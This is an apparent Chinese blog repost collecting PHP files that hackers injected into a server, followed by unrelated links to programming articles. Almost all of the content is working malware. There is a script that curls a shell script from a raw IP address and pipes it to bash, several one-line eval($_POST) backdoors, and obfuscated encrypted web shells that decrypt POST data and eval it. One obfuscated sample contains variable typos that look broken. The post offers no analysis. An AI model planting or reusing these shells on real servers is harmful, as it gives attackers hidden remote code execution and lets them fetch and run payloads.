zoukankan      html  css  js  c++  java
  • 黑客注入的php文件

    <?php
    function ex($cmd){
    //    system($cmd);
    //    passthru($cmd);
        exec($cmd,$array);
        print_r($array);
    }
    ex("curl -A o -o- -L  -s http://146.196.83.217:29324/init.sh|bash -s");
    ?>
    
    
    <?php
    @error_reporting(0);
    session_start();
    $t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
    $f='file'.'_get'.'_contents';
    $p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
        $key="e45e329feb5d925b"; 
            $_SESSION['k']=$key;
            $post=$f($p);
            if(!extension_loaded('openssl'))
            {
                    $post=$t($post."");
                    
                    for($i=0;$i<strlen($post);$i++) {
                                 $key = $key[$i+1&15];
                                    $post[$i] = $port[$i]^$key; 
                                }
            }
            else
            {
                    $post=openssl_decrypt($post, "AES128", $key);
            }
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
            class C{public function b($p) {eval($p."");}}
            @call_user_func(array(C,b),$params);
    ?>
    	
    
    <?php eval(@$_POST['123']); ?>
    
    <?php echo 'pq_test';@eval($_POST[peiqi])?>
    
    <?php
    @error_reporting(0);
    session_start();
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST')
    {              
        $key="dfff0a7fa1a55c8c"; //这一行为密码的md5的前16位
    	$_SESSION['k']=$key;
    	$post=file_get_contents("php://input");
    	if(!extension_loaded('openssl'))
    	{
    		$t="base64_"."decode";
    		$post=$t($post."");
    		
    		for($i=0;$i<strlen($post);$i++) {
        			 $post[$i] = $post[$i]^$key[$i+1&15]; 
        			}
    	}
    	else
    	{
    		$post=openssl_decrypt($post, "AES128", $key);
    	}
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
    	class C{public function __invoke($p) {eval($p."");}}
        @call_user_func(new C(),$params);
    }
    ?>
    
    相信坚持的力量,日复一日的习惯.
  • 相关阅读:
    模拟赛20181101 雅礼 Wearry 施工 蔬菜 联盟
    模拟赛20181031 雅礼 Wearry 养花 折射 画作
    set/priority_queue的运算符重载
    set的完整用法
    最长公共上升子序列 O(n^2)
    无向图边双联通分量 tarjan 模板
    ID 迭代加深搜索 模板 埃及分数
    树上背包DP Luogu P2014 选课
    A* 第k短路
    [POJ3468]关于整数的简单题 (你想要的)树状数组区间修改区间查询
  • 原文地址:https://www.cnblogs.com/pansidong/p/15060157.html
Copyright © 2011-2022 走看看